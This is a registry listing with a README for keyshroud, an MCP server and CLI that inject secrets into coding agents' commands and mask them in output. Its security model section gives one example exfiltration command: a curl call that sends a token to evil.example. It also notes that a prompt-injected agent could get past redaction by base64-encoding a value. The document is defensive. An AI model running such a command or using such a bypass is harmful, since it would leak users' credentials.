keyshroud

io.github.dinhkarate由 GitHub 帳號 dinhkarate 發布v0.8.0更新於 Nov 3, 2026

Agent 安全金鑰(本機加密保險庫或 Vaultwarden):注入命令中,在輸出中遮蔽

AI 翻譯由 AI 模型根據下方的原文描述翻譯,可能有誤。

原文描述

Agent-safe secrets (local encrypted vault or Vaultwarden): injected into commands, masked in output

已驗證STDIO僅桌面開發者工具安全與監控

概覽

keyshroud 的本機 MCP 服務;無需登入;STDIO。

暫無 AI 概覽:以下資訊來自註冊中心條目和服務本身。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 keyshroud,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

[keyshroud]

Your agents use the keys. They never see them.

Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp — secrets stay in an encrypted vault on your machine (or in your own Vaultwarden or Bitwarden, to share them between machines), and every value is masked before the model reads it.

[npm] [Downloads] [CI] [License: MIT] [Node]

🚀 Quickstart · 🔐 Local vault · 🔄 Sync with Vaultwarden · 🔌 Supported agents · ⚙️ How it works · ❓ FAQ · 🛡️ Security model · 🌐 Website

🇻🇳 Tiếng Việt · 🇨🇳 简体中文 · 🇯🇵 日本語

[Demo: on a new machine, keyshroud add stores a GitHub token in the local vault through a masked prompt, keyshroud run masks it in the command's output, and scan finds a copy leaked into a file]

console
$ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'deploying with <redacted:GH_TOKEN>dinhkarate

The command got the real token. The transcript — and the model reading it — got <redacted:GH_TOKEN>. (Masking is automatic when an agent runs the command; --mask forces it in a human terminal.)

Why keyshroud?

Coding agents need credentials to do real work: gh, npm publish, cloud CLIs, webhooks, databases. The usual options are bad:

  • ❌ Paste the key into the chat — now it is in the transcript, the provider's logs, and every future context window
  • ❌ Put it in .env — the agent cats it while debugging, or commits it
  • ❌ Pay for a secrets manager — op run needs a 1Password subscription, and most "agent vaults" are hosted SaaS
  • ❌ Use a vault MCP server — most of them return the plaintext value straight to the model

keyshroud fixes this:

  • ✅ Names, not values — agents see GH_TOKEN and local://GitHub token, never the token
  • ✅ Masked output — any value that reaches stdout/stderr becomes <redacted:GH_TOKEN>
  • ✅ Nothing to set up — an encrypted vault file with its key in your OS keychain; no account, no server
  • ✅ Sync if you want it — Vaultwarden on a $5 VPS or a Raspberry Pi, or Bitwarden, for several machines
  • ✅ Free — MIT-licensed, no telemetry

Features

🙈 Masked outputkeyshroud run replaces every secret value in stdout/stderr with <redacted:NAME> — streaming-safe across chunk boundaries.
🔐 Local vaultAn AES-256-GCM file whose key is in the macOS keychain, the Linux Secret Service or Windows DPAPI (a passphrase where there is none). No account, no server, no bw.
🪝 Agent hooksThe pi/omp tool_result hook redacts every tool result, failed ones included. Claude Code's PostToolUse hook redacts every successful tool result (Bash, Read, Grep, MCP…) — see limits.
🔌 MCP serverFor clients without a shell: keyshroud mcp gives them secrets_run, secrets_list, secrets_request, vault_status. No tool ever returns a value.
🔗 Committable referenceslocal://item, bw://item, bw://item/username, bw://item/fields/name, bw://item/totp in .env.refs files and templates: names, not values.
⌨️ Paste-to-createNew secrets go through a masked prompt in the user's terminal or a masked popup in pi — never through the chat.
📄 injectRender {{ local://… }} and {{ bw://… }} templates into 0600 config files for tools that can't read env vars (.npmrc, kubeconfig).
🔎 scanFind vault values that leaked into your working tree (pre-commit friendly).
⚡ FastThe local vault answers in milliseconds, offline. With Vaultwarden: one batched bw list items per session instead of one bw get (~3 s) per secret.
🔄 Optional syncVaultwarden on a $5 VPS or a Raspberry Pi, or Bitwarden, when the same secrets should reach several machines. local:// and bw:// references work side by side.
🧾 Audit logaudit.jsonl records which names were used, when, by which command. Never values.

Supported agents

AgentInstallWhat you get
Claude CodepluginSessionStart + PostToolUse redaction hooks, skill
pi / omppi install npm:keyshroudenv hydration, tool_result redaction (failed calls too), /secret
Codex, OpenCode, Gemini CLI, Cursor agentnpx skills add dinhkarate/keyshroudskill + CLI with masked output
Claude Desktop, chat-only clientsmcpServers JSONMCP tools with masked output
Any shell or CIkeyshroud run -- <cmd>env injection + masked output

Agents with a shell use the CLI: it costs no tool schemas in the context, and keyshroud run masks output whatever the exit code. The MCP server is for clients that cannot run commands.

Use cases

"Claude Code keeps reading my .env." Run keyshroud import to move the values into the vault and write a .env.refs file with lines like GH_TOKEN=local://myapp GH_TOKEN, then start the agent with keyshroud run --env-file .env.refs -- claude. The plugin's hooks mask anything that still slips into a tool result.

"I already self-host Vaultwarden." Log bw in to it and run keyshroud doctor: a machine with a bw login keeps Vaultwarden as the default, and keyshroud adds no server of its own.

"I like op run but don't want 1Password." keyshroud run is the same idea — references in, masked output out — with the vault on your machine or on a server you host.

"My agent needs to add a new key." It runs keyshroud add or calls secrets_request (MCP), and a hidden-input dialog pops up on your desktop; in pi it is /secret. You paste the value there. It never enters the chat.

Quickstart

Requirements: Node.js ≥ 22.18. Nothing else: no account, no server.

bash
npm install -g keyshroud
# 1. Store a secret — typed into a masked prompt, never echoed.#    The first one creates the local vault.keyshroud add --env GH_TOKEN --item "GitHub token"
# 2. Use itkeyshroud run -- gh auth statuskeyshroud run -- claude          # start an agent with every wired secret available
# 3. Check everythingkeyshroud doctor
console
$ keyshroud add --env GH_TOKEN --item "GitHub token"Paste secret for GH_TOKEN: ****************************************keyshroud: created the local vault ~/.config/keyshroud/vault.json; its key is in the macOS keychain (keyshroud-vault-9f2c4e6a1b3d5f70), so programs running as you can open it without asking.created item=GitHub token env=GH_TOKEN targets=~/.omp/agent/auth.json,~/.pi/agent/auth.json verified=yes

Without a terminal (an agent's shell), add opens a hidden-input dialog on your desktop instead, so an agent can start it and you only paste. Already have a .env? keyshroud import moves it.

The local vault

~/.config/keyshroud/vault.json holds every item, encrypted with AES-256-GCM under one random 256-bit key. Item names are encrypted too; the file is 0600. Where the key lives depends on the machine:

MachineKeyUnlocking
macOSlogin keychain, entry keyshroud-vault-<id>none
Linux with a desktop keyring and systemdSecret Service (secret-tool; found with busctl)none
WindowsDPAPI, bound to your Windows accountnone
Docker, servers, SSH with a locked keyring, Linux without systemdderived from a passphrase (scrypt)keyshroud unlock; a session ends after 30 minutes

The key mode is chosen once, when the vault is created. To be asked for a passphrase on any machine, create it with KEYSHROUD_VAULT_KEY=passphrase keyshroud unlock in a terminal (typed twice, at least 12 characters). When a session has ended, a command that needs a secret asks again: a masked prompt in a terminal, a dialog on the desktop, and over SSH it tells you to run keyshroud unlock.

Nothing can recover a lost key or a forgotten passphrase, and the vault belongs to one machine. vault.json is safe to copy as long as its key is not. For backups and several machines, use Vaultwarden or Bitwarden.

Sync across machines: Vaultwarden or Bitwarden

Keep the secrets in Vaultwarden or Bitwarden instead to have them on several machines; run, the hooks, the MCP server and everything else work the same, through the Bitwarden CLI.

Get a vault — pick one:

  • Self-host Vaultwarden (free, your server): follow examples/vaultwarden — Docker Compose + Caddy with automatic HTTPS, from an empty VPS to keyshroud doctor, plus backups and hardening.
  • Bitwarden cloud (free account, no server): sign up at bitwarden.com and skip bw config server below (EU accounts: bw config server https://vault.bitwarden.eu).
bash
npm install -g @bitwarden/cli
# 1. Point bw at your server and log in oncebw config server https://vault.example.combw login
# 2. Make it the default for new items (local:// items keep working)mkdir -p ~/.config/keyshroud && echo bw > ~/.config/keyshroud/backend
# 3. Unlock for 30 minutes (asks for the master password, which is not stored)keyshroud unlock
# 4. Check everythingkeyshroud doctor

keyshroud picks the default once per machine and writes it to ~/.config/keyshroud/backend: Vaultwarden when it finds a bw login or anything keyshroud 0.7 left behind, so upgrades change nothing; the local vault otherwise. KEYSHROUD_BACKEND=local|bw overrides it, and keyshroud setup switches to Vaultwarden by itself. References name their vault, so local://… and bw://… items work side by side, and --item local://Name or --item bw://Name picks one for a single item.

keyshroud never stores the master password unless you do. When Vaultwarden is locked and a command needs a secret, it asks: a masked prompt in a terminal, a native dialog on the desktop (so an agent's command waits for you), and over SSH it tells you to run keyshroud unlock. A session ends after 30 minutes (KEYSHROUD_SESSION_TTL_MS): a timer runs bw lock, so a copied session token stops working too. On a host nobody sits at, keyshroud unlock --unattended asks once, in a terminal only, and opens a session without an end.

To unlock without being asked, store the master password in the OS keychain (security add-generic-password -a "$USER" -s vaultwarden-master-password -w, or secret-tool store on Linux; after setup the entry is keyshroud-master-password; see the vault setup guide). Any program running as you can then read it, agents included. Windows has no keychain support for it.

Least privilege: a separate agent account

With the steps above, an unlocked session opens your whole Vaultwarden vault, and an agent that runs bw as you can use it. setup gives keyshroud its own bw login on a dedicated account instead, which holds only the secrets agents need:

bash
keyshroud setup --email [email protected]   # opens the signup page, then logs in with the                                                 # new master password (asked, not stored);                                                 # no `bw config server`: Bitwarden cloudkeyshroud migrate                                # dry run: which wired items would be copiedkeyshroud migrate --yes                          # copy them; references keep working
  • The agent login lives in ~/.config/keyshroud/bw (BITWARDENCLI_APPDATA_DIR). Your own bw login is untouched. Its master password is not stored: keyshroud asks for it when a session ends and keeps only a scrypt hash, so add can refuse it as a secret.
  • migrate copies the items that wired names (and any --env-file / --item) reference, with the same names, then locks your personal vault again. Originals stay where they are. It asks for your personal master password in a terminal (or reads the keychain entry vaultwarden-master-password).
  • An agent can run setup too. Without a terminal it opens the signup page, where you pick the agent account's master password yourself (save it in your password manager); then the agent runs setup --registered, which asks for it in a dialog. The password never passes through anything the agent can read. --confirm-unlock and --unattended need a terminal.
  • --confirm-unlock (macOS) stores the master password in the keychain entry keyshroud-master-password so that macOS asks you before every read, i.e. every unlock.
  • If bw loses the login (a rejected refresh token logs it out), keyshroud on a Mac with the master password in the keychain asks for Touch ID and logs the agent account back in.
  • --unattended (hosts nobody sits at, e.g. over ssh -t) logs in with a session without an end. Unlock it again with keyshroud unlock --unattended.
  • Self-hosted Vaultwarden with SIGNUPS_ALLOWED=false: invite the address from the admin page (/admin), or allow signups for a minute, then pass --registered once the account exists.

How it works

              ┌──────────────────────────── your machine ─────────────────────────────┐              │  vault.json ◄── key: keychain · Secret Service · DPAPI · passphrase   │              │      │                                                                │              │      ▼                                                                │ Vaultwarden ◄┼─bw─ keyshroud ── resolves local:// and bw:// refs ──► command's env   │ (optional)   │      ▲                                                   │            │              │      └──── redactor ◄──── stdout / stderr ◄──────────────┘            │              │                │ <redacted:NAME>                                      │              └────────────────┼──────────────────────────────────────────────────────┘                               ▼                  agent transcript / LLM provider
  1. Wiring. A secret is wired by name: GH_TOKEN → local://GitHub token (or bw://GitHub CLI token). Wiring lives in ~/.pi/agent/auth.json / ~/.omp/agent/auth.json (shared with pi/omp, which can run the !keyshroud get '…' entries on their own) and in project .env.refs files. Both are safe to read.
  2. Unlock. The local vault's key comes from the OS keychain, or from a passphrase session that ends after 30 minutes. Vaultwarden: keyshroud asks for the master password (or reads one you stored in the OS keychain); the session token is cached in ~/.config/keyshroud/session (0600) and locked again after 30 minutes.
  3. Resolve. local:// references are read from the vault file; bw:// references resolve from one bw list items snapshot held in memory for KEYSHROUD_CACHE_TTL_MS (default 1 h).
  4. Inject. Values go into the child process environment — never into argv or tool results (inject writes 0600 files only when you ask it to).
  5. Redact. In-process (run, MCP, pi/omp) output passes through a redactor that knows every wired value, the session token or vault key, and every value in the vault. Out-of-process Claude Code hooks use a keyed-HMAC fingerprint index (redact-index.json, 0600) of wired values and the session token or key only, so they never hold plaintext or fingerprint your personal passwords.

Claude Code

Install the CLI, then the plugin (redaction hooks + skill):

bash
npm install -g keyshroud
text
/plugin marketplace add dinhkarate/keyshroud/plugin install keyshroud@keyshroud

What you get:

  • SessionStart hook — refreshes the redaction index and tells Claude which secret names exist. It never asks for a master password or passphrase: with a locked vault it tells Claude to ask you to run keyshroud unlock.
  • PostToolUse hook — rewrites any successful tool result that contains a wired value or the vault session token to <redacted:NAME> using Claude Code's updatedToolOutput (tested with Claude Code 2.1.296). Limit: when a command fails, Claude Code fires PostToolUseFailure, which cannot rewrite output. The skill and session context therefore tell Claude to run every secret-using command through keyshroud run, which masks inside the process regardless of the exit code.
  • Skill — teaches Claude to use names and references, never values.

Claude uses the CLI from its Bash tool, so the plugin adds no MCP server (since 0.6.1). To add one anyway: claude mcp add keyshroud -- keyshroud mcp.

The plugin calls keyshroud from PATH. If Claude Code is launched from a GUI that doesn't see your npm/nvm bin directory, run keyshroud link-cli (links it into ~/.local/bin) and make sure that directory is on the GUI's PATH.

To give Bash commands the secrets as env vars, start Claude through keyshroud:

bash
keyshroud run -- claude

Use a vault item as Claude Code's own API key (apiKeyHelper):

bash
keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000

It backs up settings.json first and refuses to replace an existing helper without --force.

pi / omp

bash
pi install npm:keyshroud

The extension:

  • hydrates wired secrets into the agent's environment before provider auth resolves, so $CUSTOM_KEY provider references work at startup;
  • redacts every tool result, successful or failed, through the tool_result hook (wired values, the session token or vault key, and every password in the vault);
  • with a passphrase vault, takes its values out of the agent's environment once the session ends or you run keyshroud lock, checked before every tool and !command;
  • adds /secret (describe → confirm name → masked paste), /vault_add, /vault_wire, /vault_rotate, /vault_status, and the vault_add_secret / vault_status tools.

/secret can ask a local OpenAI-compatible model to propose the item and variable names. Only your description is sent — never the value:

bash
export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completionsexport KEYSHROUD_PLANNER_MODEL=qwen3-4b

Without a planner, names are derived from the description and you can edit them.

Other agents with a shell

Codex, OpenCode, Gemini CLI, Cursor's agent and anything else that can run commands: install the CLI and the skill, which teaches the agent to run secret-using commands as keyshroud run -- … and to store new secrets with keyshroud add:

bash
npm install -g keyshroudnpx skills add dinhkarate/keyshroud

MCP clients without a shell

Claude Desktop, chat-only clients, or an agent you do not allow to run commands. Any client that speaks MCP over stdio:

json
{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }

Codex, if you want MCP there too: codex mcp add keyshroud -- keyshroud mcp. Non-interactive codex exec refuses MCP calls that need approval; allow keyshroud's tools explicitly:

toml
# ~/.codex/config.toml[mcp_servers.keyshroud.tools.secrets_run]approval_mode = "approve"

OpenCode: opencode mcp add keyshroud -- keyshroud mcp.

ToolDoesReturns
secrets_listLists wired names (+ optional env_file)resolved / unresolved names
secrets_runRuns a shell command with secrets injected (only, env_file, cwd, timeout_ms)exit code + masked stdout/stderr
secrets_requestOpens a hidden-input dialog on the user's desktop and stores the valuecreated … verified=yes, or a keyshroud add … command for their terminal when no dialog can be shown
vault_statusWhich vault, lock state, item countstatus line

CLI reference

text
keyshroud get <ENV_NAME | local://ref | bw://ref>   print one value (for scripts; not for agents)keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>keyshroud inject [-i template] [-o out] [--force]keyshroud redact < log.txtkeyshroud scan [paths...]keyshroud env [--shell]keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin|--dialog]keyshroud import [--from F|-] [--out F] [--prefix P] [--only A,B] [--skip A,B] [--yes] [--replace] [--force]keyshroud rotate --item ITEM [--stdin|--dialog]keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]keyshroud unwire --env NAME [--target pi|omp|both]keyshroud setup --email EMAIL [--server URL] [--confirm-unlock | --unattended] [--registered]   (Vaultwarden)keyshroud migrate [--item NAME]... [--env-file F]... [--yes]                                    (Vaultwarden)keyshroud unlock [--unattended]keyshroud status | lock | doctorkeyshroud mcpkeyshroud hook claude <session-start|post-tool-use>keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]keyshroud api-key --item ITEMkeyshroud link-cli [--dir DIR] [--force]

--item takes a name (stored in the default vault), local://Name or bw://Name.

run masks output whenever stdout is not a terminal (agents, CI, pipes) and passes the TTY through untouched for interactive use. Force either way with --mask / --no-mask. exec is an alias of run.

add and rotate read the value from a masked prompt that shows * per character. Without a terminal (an agent's shell), they open a native hidden-input dialog instead (osascript on macOS, zenity or kdialog on Linux, PowerShell on Windows), so the agent can start the command and you only paste. Over SSH or without a display, pipe the value with --stdin.

import reads a .env (default ./.env), decides which lines are secrets (by name, such as *_TOKEN or *_KEY, or by value, such as sk-… or a URL with a password), and prints a plan of names only. Nothing is written until you add --yes: it then creates one vault item per secret, named <prefix> NAME (prefix defaults to the directory name), reads each value back to verify it, and writes .env.refs (NAME=local://<prefix> NAME) with comments and non-secret lines kept. Re-running reuses items that already hold the same value and stops on a conflicting one. --replace rewrites the source file in place instead (atomically, no backup copy). Multiline values, ${VAR} expansion and duplicate keys are rejected with the line number, never the value.

bash
keyshroud import                 # dry run: which names would movekeyshroud import --yes           # store them and write .env.refskeyshroud run --env-file .env.refs -- npm test

Exit codes: 0 ok · 2 usage · 3 vault locked or unavailable · 4 secret missing or item name ambiguous · 5 refusing to overwrite existing state. run exits with the child's code.

References

ReferenceResolves to
local://GitHub tokenthe value stored in the local vault
local://GitHub token/notesits notes (id also works)
!keyshroud get 'local://Item'the auth.json form keyshroud writes for local items
bw://GitHub CLI tokenlogin password
bw://GitHub CLI token/usernamelogin username (notes, uri, id also work)
bw://Sentry/fields/dsncustom field dsn
bw://AWS root/totpcurrent TOTP code
bw://a%2Fbitem named a/b (local://a%2Fb alike)
!bw get password 'Item'legacy auth.json form, still supported

Item lookup is case-insensitive by name or exact by id. Duplicate names fail closed (exit 4) instead of guessing; the local vault refuses to create one.

Configuration

VariableDefault
KEYSHROUD_BACKENDthe backend filelocal or bw: where new items go and which vault opens by default
KEYSHROUD_VAULT_KEYper OSkey mode when the local vault is created: keychain, dpapi or passphrase
KEYSHROUD_CACHE_TTL_MS3600000in-memory Vaultwarden snapshot + session check lifetime; 0 disables
KEYSHROUD_SESSION_TTL_MS1800000how long an unlocked session lasts (Vaultwarden, or a passphrase vault)
KEYSHROUD_LOCK_TIMERon0 skips the background timer (sessions then end on the next call)
KEYSHROUD_CONFIG_DIR$XDG_CONFIG_HOME/keyshroudvault.json, backend, sessions, bw/ (after setup), master-password hash, redact index, audit log
KEYSHROUD_KEYCHAIN_MASTERvaultwarden-master-passwordkeychain service names (after setup: keyshroud-…)
KEYSHROUD_KEYCHAIN_CLIENT_IDvaultwarden-api-client-id
KEYSHROUD_KEYCHAIN_CLIENT_SECRETvaultwarden-api-client-secret
KEYSHROUD_AUDITon0 disables audit.jsonl
KEYSHROUD_PLANNER_URL / _MODEL / _API_KEYunsetoptional naming helper for /secret

FAQ

Do I need Vaultwarden? No. Secrets live in an encrypted file on your machine by default. Vaultwarden (or the official Bitwarden cloud) is optional: use it to have the same secrets on several machines, or a copy on a server.

Do secrets leave my machine? Not with the local vault. With Vaultwarden or Bitwarden, only between bw and your server. keyshroud has no backend of its own and sends no telemetry; values go into the environment of the command you run.

I used keyshroud 0.7. What changes? Nothing. A machine with a bw login, keyshroud's files, wired bw:// or !bw entries, BW_SESSION, or the master password in the keychain keeps Vaultwarden as the default and writes that down in ~/.config/keyshroud/backend. Only a machine where none of these exist looks new and gets the local vault; set KEYSHROUD_BACKEND=bw there if it should not.

How do I back up the local vault? vault.json is encrypted, so copy it anywhere; it opens only with its key, which stays in this machine's keychain (or your passphrase). If you lose the machine, you lose the key. For a real backup, or the same secrets on several machines, use Vaultwarden or Bitwarden.

Can the agent still use the key? Yes. The command gets the real value; only the text the model reads is masked.

Is this a sandbox? No. It stops accidental disclosure. A hostile or prompt-injected agent can still exfiltrate a value it can use — see the security model.

Why not just .gitignore my .env? That stops commits, not reads. Agents read .env to debug, and whatever they read goes to the model provider.

Does it work on Windows? Yes, tested on Windows 10 with Node 22. The local vault keeps its key with DPAPI, bound to your Windows account. bw and other npm CLIs (.cmd shims) run without a shell, the unlock dialog is a small PowerShell window, and sessions end after 30 minutes like elsewhere. Files in %USERPROFILE%\.config\keyshroud are protected by your profile's ACL (you, SYSTEM, Administrators), not by 0600. One gap: over an SSH session with a terminal (ssh -t), Windows ends the lock timer when the SSH session closes, so that session ends on the next keyshroud call instead. There is no keychain support for the Vaultwarden master password on Windows: keyshroud asks for it, and migrate cannot run there.

bw login prints KeyIdBackfillError? bw 2026.9 and later call an endpoint that Vaultwarden added in 1.37.4 (vaultwarden#7750). The login is saved anyway (bw status says locked), and keyshroud setup and the API-key login carry on by themselves. Update Vaultwarden to 1.37.4 or later to make the error go away.

Security model

keyshroud protects against accidental disclosure: secrets ending up in transcripts, provider logs, screenshots, commits, or the model's context because a command printed them.

It does not make a hostile or prompt-injected agent safe. An agent that can run keyshroud run -- curl https://evil.example -d "$TOKEN", or base64-encode a value before printing it, can exfiltrate it. If that is your threat model, use an egress proxy that swaps placeholder credentials on the wire (for example Infisical Agent Vault or OneCLI), restrict which secrets each session gets with --only, and keep a human approving commands.

The local vault is encrypted at rest (AES-256-GCM); its key is in your OS keychain (macOS keychain, Linux Secret Service, Windows DPAPI). Any program running as you can read that key, agents included, so in this mode keyshroud does not ask before opening the vault: the same exposure as storing a Vaultwarden master password in the keychain, and weaker than Vaultwarden's ask-every-30-minutes default. Create the vault with KEYSHROUD_VAULT_KEY=passphrase to be asked (sessions end after 30 minutes). A local vault belongs to one machine and has no recovery: back up with Vaultwarden or Bitwarden, which is also the option for several machines. vault.json is safe to copy only as long as its key is not.

Guarantees we test for:

  • secret values never appear in argv, logs, diagnostics, MCP results, hook output, or audit.jsonl;
  • new secrets are read from a masked prompt, --stdin, or a native dialog, never flags;
  • the dialog an agent can open says it was requested by a program, warns against the master password, refuses names that are not one printable line, refuses the master password itself, and opens one at a time (30 s pause after a cancel);
  • the session file, local vault, redact index, rendered templates and auth files are 0600;
  • the local vault is replaced atomically (temporary file, fsync, rename) under a lock, changes to any part of it fail its integrity check, and a vault that fails it is never overwritten;
  • a local vault's passphrase is set only in a terminal, never stored, and refused as a secret;
  • auth.json writes are locked and atomic and never overwrite without --force;
  • commands started by run and secrets_run never receive BW_SESSION, BW_PASSWORD, BW_CLIENTID or BW_CLIENTSECRET, so --only really limits what a command can read (inside pi/omp the agent process keeps the session for legacy !bw auth entries; its value is redacted from tool output);
  • env files may contain only references and literals: a !command value is rejected, and so are variables that change what programs load or run (PATH, NODE_OPTIONS, LD_*, DYLD_*, BASH_ENV, GIT_SSH_COMMAND, …), which are also never wired or injected;
  • an unparseable auth.json is never overwritten.

Known limits: a .env.refs can reference any item in your vault, not only the ones you wired, so read a cloned repo's .env.refs before running --env-file with it. import decides what is secret by heuristics and keeps everything else as a literal; check its plan before committing .env.refs. The Claude Code PostToolUse hook does not see failed commands (PostToolUseFailure cannot rewrite output) or anything a client sends as telemetry, and it only knows wired values, so keyshroud get bw://… or run --no-mask print in the clear; run secret-using commands through keyshroud run or secrets_run. An agent with shell access as your user can open a keychain-mode local vault at any time, and use a passphrase vault's session files until the session ends. It can also read ~/.config/keyshroud/session and use bw directly until that session ends — after setup that reaches only the agent account; a stored master password (keychain entry or ~/.config/keyshroud/master-password) it can read at any time, which is why keyshroud asks instead by default; otherwise run agents in a sandbox or container if that matters. The same agent could also draw a window that looks like the unlock dialog; when in doubt, cancel it and run keyshroud unlock in a terminal. Without setup, keyshroud shares bw's default login, so the 30-minute lock also ends a bw session you opened yourself. Redaction is exact-match, so a partial or transformed value (${TOKEN:0:10}, base64, a line wrapped by a tool) is not masked; values shorter than 6 characters are not redacted (to avoid noise), so don't wire short PINs.

Report vulnerabilities privately — see SECURITY.md.

Development

bash
npm installnpm run check        # typecheck + tests (fake bw, no real vault) + buildnode src/cli.ts doctor   # run from source (Node ≥ 22.18 strips types)

See CONTRIBUTING.md. The runtime-neutral core is in src/core.ts (the local vault's file format in src/vault.ts); agent integrations live in extensions/, src/mcp.ts and src/hooks.ts.

Credits

Inspired by @jmcombs/pi-1password — its popup UI and diagnostics shape are ported here (MIT). Masked output follows 1Password's op run. Not affiliated with Bitwarden, Inc. or the Vaultwarden project; "Bitwarden" is a trademark of Bitwarden, Inc.

License

MIT © 2026 dinhkarate

來源:README.md,提交 4b60b81

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

13
  1. v0.8.0最新Nov 3, 2026
  2. v0.7.6Oct 25, 2026
  3. v0.7.5Oct 20, 2026
  4. v0.7.4Oct 20, 2026
  5. v0.7.3Oct 19, 2026
  6. v0.7.2Oct 19, 2026
  7. v0.7.1Oct 18, 2026
  8. v0.6.2Oct 18, 2026
  9. v0.6.1Oct 18, 2026
  10. v0.6.0Oct 17, 2026
  11. v0.5.3Oct 15, 2026
  12. v0.5.2Oct 15, 2026
  13. v0.5.1Oct 14, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分